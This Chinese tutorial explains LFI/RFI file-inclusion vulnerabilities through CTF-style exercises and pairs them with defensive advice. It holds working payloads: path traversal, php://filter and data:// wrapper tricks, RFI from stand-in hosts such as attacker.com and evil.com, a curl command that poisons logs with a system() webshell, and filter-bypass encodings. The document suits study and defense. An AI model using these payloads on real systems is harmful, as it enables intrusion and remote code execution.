news 2026/6/24 18:54:48

文件包含漏洞实战:从LFI/RFI原理到高级利用与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞实战:从LFI/RFI原理到高级利用与防御

1. 项目概述:从“习题”到“实战”的思维跃迁

看到“文件包含漏洞--相关习题”这个标题,很多安全初学者可能会直接联想到CTF(Capture The Flag)比赛或者一些在线靶场里的解题过程。没错,习题是学习文件包含漏洞最直接的敲门砖,它能帮你快速理解漏洞的原理、触发条件和基础的利用手法。但作为一名在渗透测试和代码审计一线摸爬滚打多年的从业者,我想告诉你的是,仅仅会做习题是远远不够的。真正的价值在于,如何将这些离散的“知识点”串联起来,构建一套面对真实、复杂、多变环境时的“实战思维模型”。

文件包含漏洞,无论是本地文件包含(LFI)还是远程文件包含(RFI),其核心本质都是应用程序在引入外部文件时,对用户输入的控制不严,导致攻击者能够操纵文件路径,读取敏感文件、执行恶意代码,甚至最终获取服务器权限。这个漏洞历史悠久,但生命力顽强,时至今日依然在各类Web应用,尤其是遗留系统和定制化开发的应用中频繁出现。学习它,绝不只是为了解出几道题,而是为了培养一种“输入点追踪”和“上下文逃逸”的安全审计本能。

这篇笔记,我将带你超越“习题”的范畴。我们会从最经典的习题场景出发,但重点会放在拆解这些习题背后所模拟的真实漏洞场景、攻击链路的构建、在不同防御机制下的绕过技巧,以及最重要的——如何将这种攻击者思维,逆向应用于你的代码审计和防御体系建设中。无论你是刚入门的安全爱好者,还是希望巩固基础的开发人员,相信这套从“题面”到“题眼”再到“实战映射”的深度解析,能让你对文件包含漏洞有一个脱胎换骨的理解。

2. 核心漏洞原理与利用场景深度拆解

在动手解任何一道题之前,我们必须把地基打牢。文件包含漏洞的原理听起来简单,但魔鬼藏在细节里,不同的服务端配置和编程语言特性,会衍生出千变万化的利用姿势。

2.1 漏洞产生的根本原因与语言特性差异

几乎所有支持文件包含功能的编程语言都可能存在此漏洞,比如PHP的includerequire,JSP的<%@ include file="..." %>,以及一些模板引擎的包含指令。漏洞产生的根本原因可以归结为一个公式:不可信的用户输入 + 未经验证/过滤的包含函数 = 文件包含漏洞

以最常见的PHP为例,一段典型的漏洞代码如下:

<?php $page = $_GET['page']; // 直接接收用户输入 include($page . '.php'); // 未经任何处理,直接拼接后包含 ?>

攻击者通过?page=../../../etc/passwd这样的参数,就可以尝试穿越目录,读取系统敏感文件。这里的关键在于,开发者天真地认为用户只会输入像 “home”, “about” 这样的文件名,并自信地加上了.php后缀。这种“信任”就是安全问题的万恶之源。

不同语言在包含行为上存在细微差别,直接影响利用方式:

  • PHP:功能最“强大”,也最危险。除了包含本地文件,如果allow_url_include配置为On,还可以通过http://ftp://等协议包含远程服务器上的文件,直接导致远程代码执行(RCE)。这是RFI的典型场景。
  • JSP/Servlet:通常通过<%@ include file="..." %>jsp:include实现。前者是静态包含,在编译时处理;后者是动态包含,在运行时处理。利用时更侧重于路径遍历读取敏感文件,或结合上传漏洞实现代码执行。
  • Python (Flask/Django):本身没有类似PHP的“包含”函数,但开发者可能错误地使用open()读取用户指定的模板文件,并结合render_template_string等造成服务端模板注入(SSTI),这与文件包含在思路上有相通之处,都是控制了“加载内容”的源头。

理解这些差异,你就能明白为什么PHP的习题里经常出现RFI,而JSP的习题则更偏向于LFI与上传的结合。

2.2 经典利用场景与攻击链构建

习题往往是对真实漏洞场景的高度抽象。我们来看几个核心场景,并思考如何将其扩展为完整的攻击链:

场景一:基础目录遍历与敏感信息泄露这是最常见的LFI习题。目标是通过../(目录遍历)读取系统文件,如/etc/passwd(Linux用户信息)、/proc/self/environ(环境变量)、C:\Windows\System32\drivers\etc\hosts(Windows主机文件)等。

  • 习题思维:找到包含点,尝试../../../../etc/passwd,看到内容即成功。
  • 实战思维延伸
    1. 信息收集:成功读取/etc/passwd后,可以获取系统用户名列表,为后续爆破SSH等服务做准备。
    2. 读取Web配置:尝试包含../config/database.php../.envwp-config.php等,直接获取数据库密码,实现权限升级。
    3. 读取日志文件:这是LFI通向RCE的关键跳板。查找Web服务器的访问日志、错误日志路径,如/var/log/apache2/access.log。将PHP代码作为User-Agent或请求参数的一部分发送,然后通过LFI包含这个日志文件,代码就会被执行。

场景二:封装协议与过滤器绕过当简单的../被过滤时,习题会引入PHP的封装协议(Wrapper)。

  • php://filter协议:这是必考知识点。用于读取文件源码,特别是当包含点会自动添加后缀或文件被解析执行时。例如:?page=php://filter/read=convert.base64-encode/resource=index。这里resource=index指定目标文件,convert.base64-encode过滤器将文件内容以Base64编码输出,避免了PHP代码被直接执行,从而让我们能看到index.php的源代码,从中寻找其他漏洞(如数据库连接信息、其他敏感参数)。
  • zip://phar://协议:用于包含ZIP或PHAR压缩包中的文件。这常与文件上传漏洞结合。攻击者上传一个内含恶意脚本的ZIP文件,然后通过?page=zip://path/to/upload.zip%23shell.php%23#的URL编码)来执行压缩包内的shell.php
  • data://协议:在allow_url_include开启时,可以直接在URL中嵌入代码并执行,如?page=data://text/plain,<?php phpinfo();?>。这是非常直接的代码执行方式。

场景三:远程文件包含与代码执行真正的RFI场景在习题中往往有条件限制(配置开启),但其思路至关重要。

  • 直接远程包含?page=http://attacker.com/shell.txt。攻击者在自己的服务器上放置一个纯文本的PHP代码文件,受害服务器包含并执行它。
  • 实战中的限制与绕过
    • 后缀限制:如果代码强制添加.php,可以尝试?page=http://attacker.com/shell.txt?。问号?会被解释为URL的查询参数,从而截断后缀,使得http://attacker.com/shell.txt?被完整请求,而.php被当作本地不存在的文件部分忽略(取决于服务器解析方式)。
    • 协议黑名单:如果过滤了http://,可以尝试HTTPS://ftp://甚至\\smb\share\shell.txt(Windows UNC路径)等其他协议。

注意:在真实渗透测试中,RFI的利用成功率正在降低,因为现代PHP版本默认关闭allow_url_include,且云环境和安全策略普遍限制外联。因此,LFI结合日志、会话、上传等“本地”资源进行利用,是目前更主流、更可靠的思路。

3. 习题精讲:从解题技巧到防御视角

现在,让我们带入几道典型的习题,不仅讲解“怎么做”,更要剖析“为什么能这么做”,以及“如何防御”。

3.1 例题一:基础LFI与路径遍历

题目描述:一个简单的PHP页面,URL参数为file,代码疑似include($_GET['file'] . '.inc');。目标是读取/etc/passwd

解题步骤

  1. 判断与试探:尝试?file=../../../../etc/passwd。如果返回了文件内容,说明存在漏洞且无目录深度限制。
  2. 绕过后缀:题目代码拼接了.inc。我们需要让最终包含的路径是/etc/passwd,而不是/etc/passwd.inc。这里利用的是文件系统的一个特性:目录遍历符号../可以放在任何位置。所以 payload 为:?file=../../../../etc/passwd%00%00是空字符的URL编码,在旧版本PHP中(PHP < 5.3.4),空字符会截断字符串,使得.inc被忽略。这就是著名的“空字节截断”漏洞。
  3. 现代绕过:空字节截断在现代PHP中已修复。更通用的方法是利用PHP封装协议。但本题限制了后缀.incphp://filter读取/etc/passwd后,内容会被当作PHP执行,可能显示乱码或错误。此时,可以尝试路径遍历与协议组合?file=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd。这样,我们读取的是/etc/passwd的Base64编码,完全绕过了.inc后缀,因为resource参数指向的是目标文件,包含函数实际处理的是php://filter...这个流,后缀附加在这个流后面形同虚设。

防御视角

  • 固定白名单:不要用用户输入直接拼接。使用一个数组定义允许包含的文件名,如$allowed = ['home', 'about', 'contact']; if (in_array($_GET['page'], $allowed)) { include($_GET['page'].'.php'); }
  • 严格路径控制:使用basename()函数获取路径中的文件名部分,去除任何目录遍历字符。但注意basename()在处理多字节字符时可能有问题。
  • 彻底禁用危险功能:如非必要,关闭allow_url_fopenallow_url_include

3.2 例题二:LFI转RCE——日志文件注入

题目描述:存在LFI漏洞,但无法直接RFI。发现网站使用Apache服务器。目标是获取Webshell。

攻击链构建

  1. 确认日志路径:通过LFI尝试常见日志路径,如/var/log/apache2/access.log/var/log/httpd/access_log/proc/self/fd/xx(xx是文件描述符,可能需要爆破)。成功读取到日志内容。
  2. 污染日志:向网站发送一个请求,在User-Agent或GET/POST参数中携带PHP代码。例如,使用curl:curl -A "<?php system(\$_GET['cmd']);?>" http://target.com/。或者直接访问http://target.com/?a=<?php phpinfo();?>
  3. 包含执行:通过LFI漏洞包含这个已经被污染的日志文件:?file=../../../var/log/apache2/access.log。此时,日志文件中的PHP代码会被服务器解析执行。
  4. 执行命令:如果注入的是system($_GET['cmd']),那么可以通过?file=../../../var/log/apache2/access.log&cmd=id来执行系统命令,输出结果会混杂在日志内容中显示出来。

实操难点与技巧

  • 日志文件过大:大日志文件可能导致包含超时或内存耗尽。可以尝试在污染后立即进行包含,或者寻找错误日志(error.log),通常体积更小。
  • 代码被转义或截断:Web服务器或应用可能会对请求参数进行URL编码、过滤特殊字符。需要测试哪种输入方式能原样存入日志。User-Agent字段通常是最佳选择,因为它受过滤较少。
  • 找不到日志路径:可以尝试利用/proc/self/environ。这个文件包含了当前进程的环境变量,其中HTTP_USER_AGENT等字段就是我们的请求头。我们可以污染自己的User-Agent,然后包含/proc/self/environ来执行代码。这种方法更直接,不依赖磁盘上的日志文件。

防御视角

  • 将日志目录移至Web根目录之外,确保无法通过Web路径访问。
  • 对日志内容进行严格的字符过滤(虽然可能影响日志可读性)。
  • 最根本的,还是修复LFI漏洞本身。

3.3 例题三:利用PHP Session文件

题目描述:目标网站使用PHP Session,且Session文件保存在默认位置(如/tmp/var/lib/php/sessions)。存在LFI,但无法读取日志。目标是RCE。

攻击思路

  1. 原理:PHP Session数据通常保存在服务器的一个文件中(如sess_[sessionid]),文件内容包含序列化的Session变量。如果我们可以控制一部分Session数据,并将其设置为PHP代码,再通过LFI包含这个Session文件,就能执行代码。
  2. 条件:需要知道Session文件的存储路径和文件名。路径通常是默认的或通过phpinfo()获取。文件名是sess_加上我们的Session ID。
  3. 步骤
    • 获取自己的Session ID(来自CookiePHPSESSID)。
    • 向服务器提交一个表单,设置一个Session变量,其值为PHP代码。例如,一个表单字段名可以是<?php phpinfo();?>(但需要服务器能正确接收并存入Session,这取决于应用逻辑)。更常见的是,寻找一个能将用户输入存入$_SESSION的功能点,比如“个性签名”、“昵称”等。
    • 通过LFI包含自己的Session文件:?file=../../../tmp/sess_[你的sessionid]

技巧

  • 如果应用对存入Session的数据做了过滤,可以尝试序列化字符串注入。例如,原始Session文件内容可能是user|s:5:"admin";。如果我们能注入";phpinfo();//,最终内容可能变成user|s:16:"admin";phpinfo();//";,破坏原有结构并注入代码。这需要对PHP序列化格式有精确理解。
  • 使用phpinfo()页面是获取绝对路径、Session存储路径等关键信息的“神器”,应优先寻找。

防御视角

  • 修改Session文件的保存路径到非默认、不可预测的位置。
  • 对存入Session的所有用户数据进行严格的过滤和验证。
  • 使用session.save_handler将会话数据存储到数据库或内存缓存中。

4. 高级绕过技巧与组合利用实战

当面对更复杂的过滤机制时,我们需要像玩解谜游戏一样,组合各种技巧。

4.1 过滤绕过策略库

过滤条件可能的绕过方式原理与示例
过滤../使用绝对路径、编码、双重编码/etc/passwd(绝对路径);..%2f..%2f(URL编码);%252e%252e%252f(双重URL编码,WAF可能只解码一次)
过滤http://使用其他协议、大小写混淆、URL编码https://HtTp://%68%74%74%70%3a%2f%2f(全编码)
强制添加后缀.php使用?#截断,或利用zip://phar://?page=http://evil.com/shell.txt??page=zip://shell.zip%23code(#在URL中需编码为%23)
检查文件是否存在使用PHP封装协议php://input(读取POST数据执行);php://filter本身不需要文件存在
限制包含目录利用php://filterresource参数进行路径遍历php://filter/read=convert.base64-encode/resource=../../../config.php

4.2 组合技实例:LFI + 文件上传 Getshell

这是实战中最有效的组合之一。

  1. 找到一个文件上传点,允许上传图片等文件。
  2. 上传一个包含PHP代码的图片文件(如shell.jpg,内容为<?php system($_GET['c']);?>)。现代应用通常会进行图片重渲染、内容检查,可能失败。可以尝试在图片元数据(如Exif)中插入代码,或使用图片马(在合法图片末尾追加PHP代码)。
  3. 关键:获取上传文件的绝对路径。这通常比较困难。可以通过报错信息、phpinfo()、读取应用配置文件、或者利用上传功能返回的访问URL进行猜测(如/uploads/2024/05/shell.jpg)。
  4. 通过LFI漏洞包含这个上传的文件。如果上传的文件被重命名,需要知道最终名称。包含时,服务器会根据文件扩展名(如.jpg)决定是否解析PHP。如果服务器配置了AddType application/x-httpd-php .jpg .png(危险配置),那么.jpg也会被解析,直接执行代码。如果没有,可以尝试结合php://filter来读取上传文件的内容,但无法执行。
  5. 更高级的利用:如果上传时检查文件内容头(如GIF89a),可以制作一个合法的GIF文件,开头是GIF头,后面是PHP代码。然后利用include()包含它,PHP引擎会执行其中的<?php ... ?>部分,忽略前面的二进制数据。

5. 防御体系构建与代码审计心得

攻击是为了更好的防御。理解了攻击者的所有手段,我们就能在代码层面筑起更坚固的防线。

5.1 安全开发规范

  1. 绝对禁止动态包含:这是最高原则。如果业务必须动态加载模块,请使用以下方法:
    • 白名单机制:维护一个允许包含的文件名数组,用户输入只作为索引键,而不是直接部分路径。
    $allowed_pages = ['home' => './pages/home.php', 'about' => './pages/about.php']; $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('./pages/error.php'); }
    • 映射机制:使用一个安全的函数,将输入映射到固定的文件路径,避免任何路径遍历。
  2. 设置PHP安全配置
    • allow_url_include = Off
    • allow_url_fopen = Off
    • open_basedir:将PHP可操作的文件限制在特定目录树内。
    • disable_functions:禁用危险的函数,如systemexecshell_execpassthru等。
  3. 安全处理用户输入
    • 对所有用户输入进行严格的验证和过滤。对于文件路径,使用realpath()函数获取规范化的绝对路径,然后检查这个路径是否在以Web根目录为起点的允许范围内。
    • 使用basename()去除路径中的目录部分,但要注意其局限性。

5.2 代码审计中如何寻找文件包含漏洞

  1. 全局搜索包含函数:在PHP项目中搜索includerequireinclude_oncerequire_once。在JSP中搜索include指令或动作。
  2. 追踪输入变量:检查这些函数的参数是否是变量,并逆向追踪这些变量的来源,是否最终来源于$_GET$_POST$_COOKIE$_REQUEST等用户可控的输入。
  3. 分析过滤逻辑:如果发现了用户输入传入包含函数,仔细分析代码中是否存在过滤。常见的错误过滤包括:
    • 只替换一次../(可用....//绕过)。
    • 黑名单过滤(总有漏网之鱼)。
    • 使用str_replace等函数,但未递归处理或未考虑大小写、编码。
  4. 关注模板引擎:许多现代框架使用模板引擎(如Twig、Smarty)。这些引擎本身通常很安全,但开发者可能误用,或者存在旧版本漏洞。审计时需关注模板文件的加载方式。

5.3 我踩过的坑与心得

  • 不要忽视“不起眼”的参数:曾经审计一个系统,漏洞出现在一个名为lang的参数上,用于包含语言包文件。所有人都盯着pagefile这些明显参数,而这个lang参数几乎被忽略。
  • 二次解码是陷阱:有些WAF或自定义过滤会对输入进行一次URL解码后再检查。这时,双重编码(如%252e解码一次变%2e,再解码一次变.)是有效的绕过手段。在测试时,养成对特殊字符进行单次和双重编码测试的习惯。
  • 上下文很重要:在包含点前或后,代码是否进行了base64_decodeurldecode等操作?这可能会完全改变我们的payload构造方式。例如,如果代码先urldecode再包含,那么我们的payload就需要用编码形式。
  • 自动化工具是辅助,不是上帝:像Burp Suite的Scanner、某些LFI检测插件能快速发现基础漏洞,但对于复杂的过滤、编码和组合利用,它们往往无能为力。真正的深度发现依赖于手动审计和基于理解的测试。

文件包含漏洞的学习,是一个从“知其然”到“知其所以然”,再到“知其何以不然”(如何防御)的过程。习题是路标,指引你方向;而真正的能力,是在离开路标后,于错综复杂的真实网络环境中,自己开辟道路的本事。希望这篇笔记,能成为你手中那把更锋利的开山刀。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/24 18:54:28

Harness Engineering:前端系统化工程实践落地指南

1. “Harness Engineering”不是新框架&#xff0c;而是前端工程范式的升维“Harness Engineering”这个词最近在技术社区里频繁出现&#xff0c;但翻遍所有主流文档、GitHub仓库和RFC提案&#xff0c;你都找不到一个叫这个名字的开源库或标准组织。它既不是React的下一代替代品…

作者头像 李华
网站建设 2026/6/24 18:38:41

Codex+GPT-5.4构建可审计AI自动化技能的工程实践

1. 项目概述&#xff1a;当“OpenClaw”成为行业默认选项时&#xff0c;我为什么选择亲手搭一套 Codex GPT-5.4 自动化 Skill最近在几个技术群和自动化论坛里刷屏的&#xff0c;几乎全是 OpenClaw 的安装截图、报错日志和部署踩坑实录。有人用它三分钟拉起一个 Jenkins 流水线…

作者头像 李华
网站建设 2026/6/24 18:33:16

DroidFrida:Android设备上的动态代码插桩与Hook实战指南

1. 项目概述&#xff1a;为什么我们需要DroidFrida&#xff1f;如果你正在从事移动安全研究、应用逆向分析或者应用行为动态监控&#xff0c;那么你大概率听说过Frida。它是一个强大的动态代码插桩框架&#xff0c;通过注入JavaScript代码到目标进程中&#xff0c;可以实时地Ho…

作者头像 李华
网站建设 2026/6/24 18:25:42

通用Agent中台:AI应用工程化的落地架构与迁移路径

1. 这不是框架升级&#xff0c;而是AI应用交付范式的迁移 “从 LangChain 到通用 Agent 中台”——这个标题里藏着一个被多数人忽略的真相&#xff1a;LangChain 从来就不是终点&#xff0c;它只是我们第一次在混沌中摸到工程化边界的探针。我带过三支不同行业的AI应用落地团队…

作者头像 李华
网站建设 2026/6/24 18:22:01

逆向分析SecureCRT密码存储机制:从Blowfish到AES的加密原理与安全实践

1. 项目概述&#xff1a;为何要探究SecureCRT的密码存储&#xff1f; 作为一名常年与网络设备打交道的运维工程师或安全研究员&#xff0c;SecureCRT这款终端仿真软件绝对是工具箱里的“老伙计”。它帮我们管理着成百上千台服务器、交换机、路由器的连接信息&#xff0c;其中最…

作者头像 李华
网站建设 2026/6/24 18:20:49

Splinter:Python Web自动化测试与爬虫的简洁API实践指南

1. 项目概述&#xff1a;Splinter&#xff0c;让Web自动化回归简单 如果你曾经尝试过用代码去模拟人在浏览器里的操作&#xff0c;比如自动登录网站、填写表单、点击按钮&#xff0c;那你大概率接触过Selenium。Selenium很强大&#xff0c;但说实话&#xff0c;它的API有时候显…

作者头像 李华